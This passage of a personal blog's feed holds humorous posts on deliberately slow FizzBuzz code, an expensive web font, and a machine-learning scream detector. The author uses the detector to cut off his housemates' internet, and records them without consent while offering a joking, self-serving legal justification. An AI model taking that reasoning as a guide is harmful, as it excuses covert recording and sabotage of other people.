    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">100000000</span>):
        <span class="hljs-keyword">if</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
            f.write(<span class="hljs-string">&quot;FizzBuzz&quot;</span>)
        <span class="hljs-keyword">elif</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>:
            f.write(<span class="hljs-string">&quot;Fizz&quot;</span>)
        <span class="hljs-keyword">elif</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
            f.write(<span class="hljs-string">&quot;Buzz&quot;</span>)
        <span class="hljs-keyword">else</span>:
            f.write(<span class="hljs-built_in">str</span>(i))

<span class="hljs-comment">#</span>
<span class="hljs-comment"># server.py</span>
<span class="hljs-comment">#</span>

<span class="hljs-meta">@query.field(<span class="hljs-params"><span class="hljs-string">&quot;fizzbuzz&quot;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">resolve_fizzbuzz</span>(<span class="hljs-params">*_, i</span>):
    <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;fizzbuzz.txt&quot;</span>, <span class="hljs-string">&quot;r+&quot;</span>) <span class="hljs-keyword">as</span> f:
        lines = f.readlines()
        <span class="hljs-keyword">return</span> lines[i - <span class="hljs-number">1</span>]
</code></pre>
<p><em>To keep my SSD alive, I lowered the amount calculated from 1 billion to 100 million.</em></p>
<p>This actually became too slow for <code class="prettyprint">pv</code> to show anything (as in, the throughput was significantly less than a byte per second).</p>
<p>I'm also not a fan of this approach because its speed is determined by how big the file is. <code class="prettyprint">readlines()</code> puts the entire file into memory, which scales on file size (a smaller file would be loaded into memory quicker than a large file).</p>
<p>I'd prefer the solution to be of O(n) complexity (or close enough to it) and not really be affected by external factors.</p>
<p>Let's do something else instead.</p>
<hr />
<p>I want to go back to the idea of adding more overhead. How about we take a page from the crypto bro playbook and make our FizzBuzz implementation cryptographically secure?</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment">#</span>
<span class="hljs-comment"># server.py</span>
<span class="hljs-comment">#</span>

<span class="hljs-keyword">import</span> base64
<span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> PKCS1_OAEP

<span class="hljs-comment"># ...</span>

type_defs = gql(<span class="hljs-string">&quot;&quot;&quot;
    type Query {
        fizzbuzz(i: Int!, public_key: String!): String!
    }
&quot;&quot;&quot;</span>)

<span class="hljs-comment"># ...</span>

<span class="hljs-meta">@query.field(<span class="hljs-params"><span class="hljs-string">&quot;fizzbuzz&quot;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">resolve_fizzbuzz</span>(<span class="hljs-params">*_, i, public_key</span>):
    pub_key = RSA.import_key(public_key)
    key = PKCS1_OAEP.new(pub_key)
    encrypt = (
        <span class="hljs-keyword">lambda</span> x: base64.b64encode(
            key.encrypt(x.encode())).decode(<span class="hljs-string">&quot;utf-8&quot;</span>)
    )

    <span class="hljs-keyword">if</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> encrypt(<span class="hljs-string">&quot;FizzBuzz&quot;</span>)
    <span class="hljs-keyword">elif</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> encrypt(<span class="hljs-string">&quot;Fizz&quot;</span>)
    <span class="hljs-keyword">elif</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> encrypt(<span class="hljs-string">&quot;Buzz&quot;</span>)
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> encrypt(<span class="hljs-built_in">str</span>(i))

<span class="hljs-comment">#</span>
<span class="hljs-comment"># client.py</span>
<span class="hljs-comment">#</span>

<span class="hljs-keyword">import</span> base64
<span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> PKCS1_OAEP

key = RSA.generate(<span class="hljs-number">3072</span>)
pub_key = key.publickey().exportKey().decode(<span class="hljs-string">&quot;utf-8&quot;</span>)
priv_key = PKCS1_OAEP.new(RSA.importKey(key.export_key()))

<span class="hljs-comment"># ...</span>

query = gql(<span class="hljs-string">&quot;&quot;&quot;
    query FizzBuzz($i: Int!, $public_key: String!) {
        fizzbuzz(i: $i, public_key: $public_key)
    }
&quot;&quot;&quot;</span>)

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1000000000</span>):
    result = client.execute(
        query,
        variable_values={<span class="hljs-string">&quot;i&quot;</span>: i, <span class="hljs-string">&quot;public_key&quot;</span>: pub_key}
    )

    <span class="hljs-built_in">print</span>(
        priv_key.decrypt(
            base64.b64decode(result[<span class="hljs-string">&#x27;fizzbuzz&#x27;</span>].encode())
        ).decode(<span class="hljs-string">&quot;utf-8&quot;</span>)
    )
</code></pre>
<p>Looks like we're going down another unit of measurement because this is getting me ~500 B/s, yet another 93% decrease!</p>
<hr />
<p>We're really starting to get diminishing returns, what else could we possibly do?</p>
<p>Since we've already stepped our toes into it, perhaps we could add to it the most wasteful form of computation in common use today - a blockchain.</p>
<hr />
<p>A blockchain is an immutable linked list. That's pretty much everything you need to know about them, they're really not all that exciting or interesting.</p>
<p>Here is how to make an immutable linked list.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">import</span> hashlib

NUM_TX_PER_BLOCK = <span class="hljs-number">69</span>

<span class="hljs-keyword">class</span> <span class="hljs-title class_">FizzBuzzBlock</span>:
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, prev_block_hash, tx_list</span>):
        <span class="hljs-variable language_">self</span>.prev_block_hash = prev_block_hash
        <span class="hljs-variable language_">self</span>.tx_list = tx_list

        <span class="hljs-comment"># To ensure the same number of bytes are outputted as</span>
        <span class="hljs-comment"># with the other attempts, format the data correctly</span>
        <span class="hljs-variable language_">self</span>.block_data = <span class="hljs-string">&#x27;\n&#x27;</span>.join(tx_list)
        <span class="hljs-variable language_">self</span>.block_hash = (
            hashlib.sha256(<span class="hljs-variable language_">self</span>.block_data.encode()).hexdigest()
        )

<span class="hljs-keyword">class</span> <span class="hljs-title class_">FizzBuzzBlockChain</span>:
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self</span>):
        <span class="hljs-comment"># Create chain with genesis block</span>
        <span class="hljs-variable language_">self</span>.chain = [FizzBuzzBlock(<span class="hljs-string">&quot;0&quot;</span>, [<span class="hljs-string">&quot;1&quot;</span>])]

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">create_block</span>(<span class="hljs-params">self, tx_list</span>):
        prev_block_hash = <span class="hljs-variable language_">self</span>.last_block.block_hash
        block = FizzBuzzBlock(prev_block_hash, tx_list)
        <span class="hljs-variable language_">self</span>.chain.append(block)
        <span class="hljs-keyword">return</span> block

<span class="hljs-comment"># ...</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    tx_list = []
    fizzbuzz_chain = FizzBuzzBlockChain()

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">2</span>, <span class="hljs-number">1000000000</span>):
        result = client.execute(
            query,
            variable_values={<span class="hljs-string">&quot;i&quot;</span>: i, <span class="hljs-string">&quot;public_key&quot;</span>: pub_key}
        )

        tx_list.append(
            priv_key.decrypt(
                base64.b64decode(result[<span class="hljs-string">&#x27;fizzbuzz&#x27;</span>].encode())
            ).decode(<span class="hljs-string">&quot;utf-8&quot;</span>)
        )

        <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(tx_list) &gt;= NUM_TX_PER_BLOCK:
            block = fizzbuzz_chain.create_block(tx_list)
            tx_list = []
            <span class="hljs-built_in">print</span>(block.block_data)
</code></pre>
<p><em>I've had to change the <code class="prettyprint">range</code> to start counting from 2 because I pre-computed 1 to put in as the genesis block.</em></p>
<p>This put us down to 400 B/s (a 20% decrease). It will obviously vary depending on how many transactions are accepted per block, but I've put that as 69 because it seemed like a nice round number.</p>
<hr />
<p>Next we will make a proof-of-work validator.</p>
<p>Once we've added all the transactions to the <code class="prettyprint">tx_list</code>, we can start counting numbers and hashing them along the way. If we found a hash to a number that fulfils a certain criteria (like having the binary representation start with twenty "1"s<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span>), then we can add it to the blockchain.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>I think Bitcoin checks for 19 zeros right now, but since counting is so computationally cheap, the same number is probably fine for our purposes.</span></aside>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment"># ...</span>

WORK_TARGET = <span class="hljs-number">20</span>

<span class="hljs-keyword">def</span> <span class="hljs-title function_">validate_work</span>(<span class="hljs-params">work</span>):
    h = hashlib.sha256(<span class="hljs-built_in">str</span>(work).encode()).hexdigest()
    b = <span class="hljs-built_in">bin</span>(<span class="hljs-built_in">int</span>(h, <span class="hljs-number">16</span>))
    <span class="hljs-comment"># bin() always starts with &#x27;0b&#x27;, so skip them.</span>
    <span class="hljs-comment"># also check next digit to make sure it&#x27;s twenty ones</span>
    <span class="hljs-comment"># no more, no less</span>
    <span class="hljs-keyword">return</span> b[<span class="hljs-number">2</span>:<span class="hljs-number">3</span> + WORK_TARGET] == <span class="hljs-string">&#x27;1&#x27;</span> * WORK_TARGET + <span class="hljs-string">&#x27;0&#x27;</span>

<span class="hljs-comment"># ...</span>

<span class="hljs-keyword">class</span> <span class="hljs-title class_">FizzBuzzBlockChain</span>:
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self</span>):
        <span class="hljs-variable language_">self</span>.chain = [FizzBuzzBlock(<span class="hljs-string">&quot;0&quot;</span>, [<span class="hljs-string">&quot;1&quot;</span>])]
        <span class="hljs-variable language_">self</span>.used_work = []

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">create_block</span>(<span class="hljs-params">self, tx_list, work</span>):
        <span class="hljs-keyword">if</span> (
            work <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> <span class="hljs-variable language_">self</span>.used_work <span class="hljs-keyword">and</span>
            validate_work(work)
        ):
            prev_block_hash = <span class="hljs-variable language_">self</span>.chain[-<span class="hljs-number">1</span>].block_hash
            block = FizzBuzzBlock(prev_block_hash, tx_list)
            <span class="hljs-variable language_">self</span>.chain.append(block)
            <span class="hljs-variable language_">self</span>.used_work.append(work)
            <span class="hljs-keyword">return</span> block
        <span class="hljs-keyword">else</span>:
            <span class="hljs-keyword">raise</span> Exception(<span class="hljs-string">&quot;Invalid work&quot;</span>)

<span class="hljs-comment"># ...</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    <span class="hljs-comment"># ...</span>
    work = <span class="hljs-number">0</span>

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">2</span>, <span class="hljs-number">1000000000</span>):
        <span class="hljs-comment"># ...</span>

        <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(tx_list) &gt;= NUM_TX_PER_BLOCK:
            <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
                work += <span class="hljs-number">1</span>
                <span class="hljs-keyword">if</span> validate_work(work)
                    <span class="hljs-keyword">break</span>

            block = fizzbuzz_chain.create_block(tx_list, work)
            tx_list = []
            <span class="hljs-built_in">print</span>(block.block_data)
</code></pre>
<p>And now we're at 100 B/s, another 75%. Yeah, I think we're done here.</p>
<hr />
<p>So, we went from 235 MiB/s (or 246400000 B/s) to 100 B/s. In total that's a 99.99996% decrease! And from the fastest submission - 55 GiB/s (59055800320 B/s), there is a 99.9999998% decrease.</p>
<p>That was honestly quite a bit of work to get it this slow in a "reasonable" way, and I had to put some real effort into thinking about it.</p>
<p>But if I wanted to save myself the trouble, I probably could have just asked one of my coworkers to try attempt implementing FizzBuzz as best they could instead, and I probably would've gotten a pretty similar result.</p>
<p>Actually, it might even have been slower that way.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Spent 574 Australian Dollars On A Font For This Website, Was It Worth It?]]></title>
        <id>https://justin.duch.me/post/cool_font</id>
        <link href="https://justin.duch.me/post/cool_font"/>
        <updated>2022-05-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<blockquote>
  <p>Signifier is a Brutalist response to 17th century typefaces. Designed by Kris Sowersby, Signifier’s digital immateriality draws on a deeply material past. Acknowledging the processes and tools of digital form-making, Sowersby worked consciously with the computer to recast the lead, antimony, and tin of the 17th century Fell Types into ones and zeros. Signifier emerged from this alchemy with Bézier curves and sharp vectors determined by machine logic and a Brutalist ethos.</p>
  <ul>
  <li><a href="https://klim.co.nz/retail-fonts/signifier/">Kilm Type Foundry</a></li>
  </ul>
</blockquote>
<p>This is an interesting paragraph. I know what these words mean individually, but when they're put together like this, I have no idea what is going on.</p>
<p>So then why did reading this cause me to buy a bunch of letters for $574?</p>
<p>Good question, that's what we'll be exploring today on this site.</p>
<p>I've been using the Signifier font family on this blog since it has gone through its' <a href="/post/sveltekit_migration">fourth redesign.</a> I didn't buy it specifically for this blog, but I actually haven't found any other uses for it. Which is good, because putting it on another website would go against the license agreement. Let's talk about that for a sec.</p>
<p>You can buy a license for the font for a variety of purposes like: installing it on your computer, using it in film, TV shows, posters etc. Since this is a website, I bought the web font license.</p>
<p>A web font license only covers one domain name and any related subdomains. It is also limited by the page views or users your website has. I bought the cheapest option for page views (since I don't have any "users") which gets me 20,000 views per month.</p>
<p>To be clear, not all font licences are this restrictive. Most licenses will license the font to the set of licensed users who can then use the font in anyway they please, in any capacity they want.</p>
<p>Most font licenses also don't cost over $500.</p>
<p>I have no idea what goes into a font to make it apparently worth more than the 1440p monitor I view it on. It should be obvious by now but buying a font like this isn't really for your average person and if I was so adamant that I needed a professional font for this blog, I probably would have been better of buying a cheaper and less restrictive one for $20-50.</p>
<p>But where's the fun in that? If I bought a font for only $50 then this blog would only be using a $50 font and not a <strong>$574</strong> font.</p>
<p>Isn't this blog so much better now that you know the letters you're reading right now cost <strong>FIVE HUNDRED AND SEVENTY FOUR AUSTRALIAN DOLLARS?</strong></p>
<p>Don't you understand? Five hundred and seventy four big ones.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> Just for this blog. Now every time you type <code class="prettyprint">justin.duch.me</code> (which I know you do often) into your web browser:</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>AUD isn't actually worth much, so "big ones" probably isn't a good description.</span></aside>
<ol>
<li>Your browser sends a DNS lookup for this domain.</li>
<li>It opens a socket on port 443 to the IP address attached to the DNS record.</li>
<li>It starts a TLS handshake with the server.</li>
<li>It sends a GET request to the server.</li>
<li>It parses the HTML, CSS, and JS returned from the server.</li>
<li>It constructs the DOM tree.</li>
<li>It constructs the CSSOM tree.</li>
<li>It creates the render tree.</li>
<li>It paints.</li>
<li>The pixels on your display change colour; A symphony of words in <code class="prettyprint">#e1e1e1</code> splattered on a canvas of <code class="prettyprint">#191919</code>.</li>
<li>The light of the display reaches your retinas.</li>
<li>You see a $574 font.</li>
<li>You cry. <em>For you have never seen such beauty before.</em></li>
</ol>
<p>No matter how hard it gets. No matter how many times you question yourself. You can always think this to yourself.</p>
<blockquote>
  <p>At least I didn't spend $574 on a font.</p>
  <ul>
  <li>You, probably</li>
  </ul>
</blockquote>
<p>And you'll know everything will be okay, for you know that there are much dumber cunts on the Internet.</p>
<p>Decades of computer science, centuries of mathematics, millennia of human progress.</p>
<p>All leading to this.</p>
<p>Why would the Internet have been created if not for this?</p>
<p>What is life if not the ability to witness a $574 font wasted on a website that gets, <strong>at most</strong>, 10 page views a month?</p>
<p>What of the irony of this lust for the most expensive, most extravagant, most unnecessary item; Peak bourgeois bullshit, perpetuated by someone who once said and still says anarcho-communism seems like a good idea and maybe we should try it one day.</p>
<p><strong>Cinq cent soixante-quatorze dollars australiens.</strong></p>
<hr />
<p>Now that we understand why this blog <strong>needs</strong> a $574 font, does the opening paragraph to this article make any more sense? Let's read it again.</p>
<blockquote>
  <p>Signifier is a Brutalist response to 17th century typefaces. Designed by Kris Sowersby, Signifier’s digital immateriality draws on a deeply material past. Acknowledging the processes and tools of digital form-making, Sowersby worked consciously with the computer to recast the lead, antimony, and tin of the 17th century Fell Types into ones and zeros. Signifier emerged from this alchemy with Bézier curves and sharp vectors determined by machine logic and a Brutalist ethos.</p>
</blockquote>
<p>Uhh… nope. Still don't get it. It must just be that words cannot do justice to these high-level ideas and concepts.</p>
<p>But they're going to have to if I want my money's worth with this fucking font.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[When Your Housemates Are Too Loud While Playing Valorant]]></title>
        <id>https://justin.duch.me/post/ai_screamtrograms</id>
        <link href="https://justin.duch.me/post/ai_screamtrograms"/>
        <updated>2022-04-14T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Did you know that coffee (and caffeine in general) has no effect on me? Literally none. I only drink it because it tastes nice and making it <a href="/post/coffee_siphon">looks cool.</a> This means that sleep is incredibly important to me, as once I get tired, there's no fixing it until I go to bed and get a proper, full night's rest.</p>
<p>And do you know what makes it impossible to get a proper, full night's rest?</p>
<p>SCREAMING AT THE TOP OF YOUR LUNGS FROM ACROSS THE HOUSE IN THE MIDDLE OF THE NIGHT BECAUSE OF A FUCKING VIDEO GAME.</p>
<p>But good thing that doesn't happen to m-Oh no wait it does.</p>
<p>The soundscape of my bedroom in almost 3/7 nights (and I have the data to back this up, just wait) is defiled by the ear-piercing screams of people across the house trying (and I'm assuming, failing, since they scream so much) to play a competitive shooter game.</p>
<p>Look, I have nothing against video games. I'm something of a gamer myself, and I'm no stranger to competitive games. I'm diamond rank in Rocket League, but when I miss an open goal or completely wiff an aerial (I also only play like once every 3 months, so this happens often), I never feel an urge to scream. It's just a video game, like holy shit you know it's all fake right?</p>
<p>I'm trying to fucking sleep; They're pointing and clicking on virtual heads (or at least it should be the heads if they're any good) of virtual people on a rectangle that displays lights of differently coloured squares, and hoping they've pointed and clicked good enough to make the virtual people disappear for a little while. And they have to do this over and over again until someone "wins" (but having your life go so far downhill that you start playing Valorant means you've already lost).</p>
<p>I think one of these things is more important than the other.</p>
<p>Side note: It has occurred to me recently that I should incorporate more audience participation in these blog posts because that's what all the famous people do.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<p>So here's a question for you: "What do you think I should do about this situation?" Keep in mind that I have social anxiety (which might limit the options here), and send your best answer to <code class="prettyprint">realnotfake@email.com</code>.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I don't have an algorithm to appease, nor do I want to be famous, so I don't actually know why I'm doing this.</span></aside>
<hr />
<p>I don't know what you said, but it's probably wrong, sorry. Better luck next time!</p>
<p>The easiest way I got the screaming to stop was going into the router settings and throttling the bandwidth to something really stupid like 50 kbps (kilo<strong>bits</strong> per second). This would mean their latency would be at around 2000ms to the Valorant servers (as I heard them scream once), which is completely unplayable.</p>
<p>You might consider this to be a bit of fucked thing to do. But I mean, I'm basically doing them a favour here making it so they don't feel compelled to play that shitty video game any more and can do something productive with their lives (like letting me sleep).</p>
<p>Anyway, this did work in getting them to stop playing, but there were a few problems.</p>
<p>The time it took between the scream happening and me turning on my phone while practically asleep, logging into the router, and changing the settings is a few minutes. I want the punishment to be almost instantaneous so they can easily make the connections and learn that screaming will take the Internet down, then maybe they'll stop doing it.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Kinda like training a dog.</span></aside>
<p>It also made me feel bad. I don't want to stop people from enjoying themselves (even if it's from an objectively garbage form of entertainment), and especially so when there might be a much better solution to this problem instead (no idea what that could be though).</p>
<p>So, I had to automate the process instead. This would solve both problems of being too slow and feeling any sense of guilt or remorse (because a robot did it - not me, blame the robot).</p>
<p>The first thing most people would go for is setting up a decibel noise meter and cutting the Internet off whenever it reaches a certain threshold. The problem with this is that screaming isn't the only thing that could set the meter off. Things like passing cars and planes overhead are just as loud, and since the screaming is across the house it can actually sometimes be a little quieter than it from where I sleep.</p>
<p>However, I can sleep just fine with normal background noise from cars as they're pretty easy to ignore, and cutting the Internet isn't going to stop it anyway. It's just the screaming that's fucking irritating, so I need something to be set off by screaming <strong>specifically.</strong></p>
<p>But what is that something?</p>
<p>Hmm… what technology could I possibly use to detect if a scream has happened? Send your best ideas to <code class="prettyprint">/dev/null</code> and I'll implement it in the next episode!<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>If you say "blockchain" I will report you to the ATO.</span></aside>
<hr />
<p>I'm kidding, it's machine learning. I mean what else could it have been?<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> So let's create an AI classifier to detect screams and cut the Internet for a few seconds every time it does.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Don't answer that, it won't be as cool as machine learning, so I would never do it.</span></aside>
<p>But since this is the first time I'm going to talk about machine learning/AI in any technical depth on this blog, I'd best explain what it is. Here's my <em>official</em>, <em>proprietary</em>, and <em>standard</em> explanation of machine learning that any idiot who doesn't know how to even open a PDF should be able to understand.</p>
<blockquote>
  <p>First you get a bunch of data and shove it down a model, so then it learns about the data, and then <strong>WHOOSH</strong> you have an AI!</p>
</blockquote>
<p>OK so, what is a "model"?</p>
<blockquote>
  <p>A model is the neural network and it's parameters (and maybe some other stuff).</p>
</blockquote>
<p>What is a "neural network" and what do "parameters" do?</p>
<blockquote>
  <p>A neural network is bunch of linear algebra and parameters are the things that go in the linear algebra.</p>
</blockquote>
<p>And with that excellent explanation, we should be ready to start making our AI!</p>
<p>Since we need a "bunch of data" (as I so eloquently explained), that's what we will focus on first. Obviously, this will be recordings of the screams, with which my laptop microphone already easily picks up from my room, so I won't need to do anything on that front.</p>
<p>However, we won't be just shoving audio recordings into a model. You see, computer vision is a very well covered field in machine learning, especially when compared to computer "hearing" (which I don't think even exists), so our best bet would be to turn these recordings into pictures and shoving that into the model.</p>
<p>From the recordings we will generate <a href="https://en.wikipedia.org/wiki/Spectrogram">spectrograms,</a> which are a visual way of representing the signal strength, or "loudness", of a signal over time at various frequencies present in a particular waveform. Spectrograms of audio are often used to identify spoken words phonetically, and to analyse the various calls of animals.</p>
<p>Thankfully, screams from across the house are actually an <strong>incredibly</strong> distinct sound. Here are some examples.</p>
<p><img src="/img/20220408212652_seg_45.png" alt="scream-1" /></p>
<p>See that blob looking thing at the bottom? That's a scream that specifically came from across the house.</p>
<p>The lines going vertically across are from mouse clicks and keyboard taps from my laptop as I was using it while recording this, hopefully the model still will be able to distinguish the scream from everything else when the image is a little noisy (keyboard taps, and general banging of computer hardware can also sometimes be heard when my housemates play Valorant, so it's not an entirely uncommon pattern to have).</p>
<p><img src="/img/20220408215955_seg_15.png" alt="scream-2" /></p>
<p>The pattern should be pretty clear now, but here's another in case you have a peanut brain.</p>
<p><img src="/img/20220410233209_seg_0.png" alt="scream-3" /></p>
<p>I've recorded a bunch of ambient noise to see if anything else looked like these screams, and there really hasn't even been anything close to it, so I think we're good here.</p>
<p>Now that we know spectrograms (or <strong>scream</strong>trograms as I'm going to start calling them from now on) should work fine, we need a good way of creating them to shove in the model.</p>
<p>But before all that, let's talk about ethics. Now, I'm a good guy, I'm a nice person.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> And I'm aware that recording people without their permission is not the most "good" thing to do. Recording private conversations is in fact, illegal in New South Wales.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>Don't say anything.</span></aside>
<p>However:</p>
<ol>
<li>I'm just recording the ambient noises in my room, and sometimes screaming can be heard in the background (please ignore the fact that I'm then using that screaming to feed a machine learning model).</li>
<li>These screams can be heard from outside the house (I tested this one night by going outside), so they aren't very private.</li>
<li>Screams also aren't really a conversation. Sometimes they do talk really loud, but it's pretty muffled and unintelligible in the recordings. These are actually the one thing that have a similar pattern to screams in the screamtrogram, but they're just as irritating, so I'll be counting them as screams as well.</li>
</ol>
<p>But most importantly:</p>
<ol start="4">
<li>I WOULD LIKE MORE THAN 4 HOURS OF SLEEP PLEASE.</li>
</ol>
<p>So given these counterarguments, I think I'm in the clear here regarding the law. And since most peoples' ethical framework boils down to "if it's legal, it's OK", I'm in the clear ethically too.</p>
<p>Anyway, let's get back to it. We're going to want to write a script that records audio and automatically turns it into screamtrograms. We can do that with <code class="prettyprint">pyaudio</code> and <code class="prettyprint">matplotlib</code> (I think it's a given we'll be using Python here).</p>
<p>I'm mostly going to be describing things at a high level instead of going through code (I'll put the important concepts in code to make it easier to understand) because I've learnt throughout the years that a blog post is not a good place to dump a lot of code in.</p>
<p>If you want to see the code you can go to the <a href="https://github.com/beanpuppy/wgyhtss">Git repository.</a></p>
<p>Looking at the <a href="https://github.com/beanpuppy/wgyhtss/blob/main/create_data.py">create_data.py</a> script, you'll see that I'm using <code class="prettyprint">multiprocessing</code> and have two processes, one for recording and one for creating the screamtrograms. The reason for this is that creating the screamtrograms can take a few seconds and I don't want the recording to be blocked by it.</p>
<p>The recording process is very simple. It records audio from the microphone in 60 second intervals, saves it to a <code class="prettyprint">.wav</code> file, and adds the file to a queue for the screamtrogram process to use.</p>
<p>Before creating a screamtrogram, I segment the 60 second audio file into 15 second audio files (4 in total). This is to hopefully make the screams a bigger pattern in the images, while still being large enough that the likelihood of a scream being cut off abruptly is minimal. Being cut off did happen a few times in fact, but never often enough for me feel like the segments should be larger.</p>
<p>The great things about <code class="prettyprint">.wav</code> files is that they're a simple file format and are basically just an array of values. So to create the screamtrogram, <code class="prettyprint">scipy.io</code> has a function to open the <code class="prettyprint">.wav</code> file and <code class="prettyprint">matplotlib</code> has another to plot the image.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">from</span> scipy.io <span class="hljs-keyword">import</span> wavfile
<span class="hljs-keyword">import</span> matplotlib.pyplot <span class="hljs-keyword">as</span> plt

wav_file = <span class="hljs-string">&#x27;myaudio.wav&#x27;</span>

rate, audio = wavfile.read(wav_file)
audio = audio[:,<span class="hljs-number">0</span>]  <span class="hljs-comment"># select left channel only</span>
fig, ax = plt.subplots(<span class="hljs-number">1</span>)
fig.subplots_adjust(left=<span class="hljs-number">0</span>, right=<span class="hljs-number">1</span>, bottom=<span class="hljs-number">0</span>, top=<span class="hljs-number">1</span>)
ax.specgram(x=audio, Fs=rate, noverlap=<span class="hljs-number">384</span>, NFFT=<span class="hljs-number">512</span>)
ax.axis(<span class="hljs-string">&#x27;off&#x27;</span>)
fig.savefig(<span class="hljs-string">&#x27;screamtrogram.png&#x27;</span>, dpi=<span class="hljs-number">300</span>)
</code></pre>
<p> <code class="prettyprint">matplotlib</code> usually puts an x/y axis on it's plots which are useless for us and unnecessary noise for the model, so I've turned them off with <code class="prettyprint">ax.axis('off')</code> and some adjustment to the image.</p>
<p>So if you were to run <code class="prettyprint">create_data.py</code>, it would add 4 screamtrograms to the <code class="prettyprint">data/spectrograms</code> directory every 60 seconds. Then you will need to manually go through each one, see which one is a scream, and move it to the <code class="prettyprint">train/scream</code> directory.</p>
<p>Unfortunately, there is no way around manually labelling training data in this manner, this is just how it goes with machine learning. I recommend getting around 500 samples for training and another 100 for validation (so 600 in total). We'll also need another 600 samples of non-screamtrograms, but those should be easy to get considering non-screams happen most of the time. Move those to <code class="prettyprint">train/notscream</code>.</p>
<p>Next up is creating our classifier. We will be using <a href="https://docs.fast.ai/">fastai</a> for this because it's… uh… <em>fast</em>, and they provide a lot of useful functions on top of <a href="https://pytorch.org/">PyTorch.</a> If you're following along with the code, this part is in the <a href="https://github.com/beanpuppy/wgyhtss/blob/main/train.ipynb">train.ipynb</a> notebook (personally I hate notebooks, but I wanted to see pictures).</p>
<p>Because data scientists don't understand good software engineering practices we <code class="prettyprint">import *</code> from <code class="prettyprint">fastai.vision.all</code> and create a <code class="prettyprint">DataLoaders</code>.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">from</span> fastai.vision.<span class="hljs-built_in">all</span> <span class="hljs-keyword">import</span> *

path = Path(<span class="hljs-string">&#x27;train/&#x27;</span>)

spectrograms = DataBlock(
    blocks=(ImageBlock(cls=PILImageBW), CategoryBlock),
    get_items=get_image_files,
    splitter=RandomSplitter(valid_pct=<span class="hljs-number">0.2</span>, seed=<span class="hljs-number">21</span>),
    get_y=parent_label,
    item_tfms=Resize(<span class="hljs-number">224</span>))

dls = spectrograms.dataloaders(path)
dls.show_batch(max_n=<span class="hljs-number">4</span>, nrows=<span class="hljs-number">1</span>)
</code></pre>
<p>This gives us a batch that looks like this.</p>
<p><img src="/img/scream-batch.jpg" alt="batch" /></p>
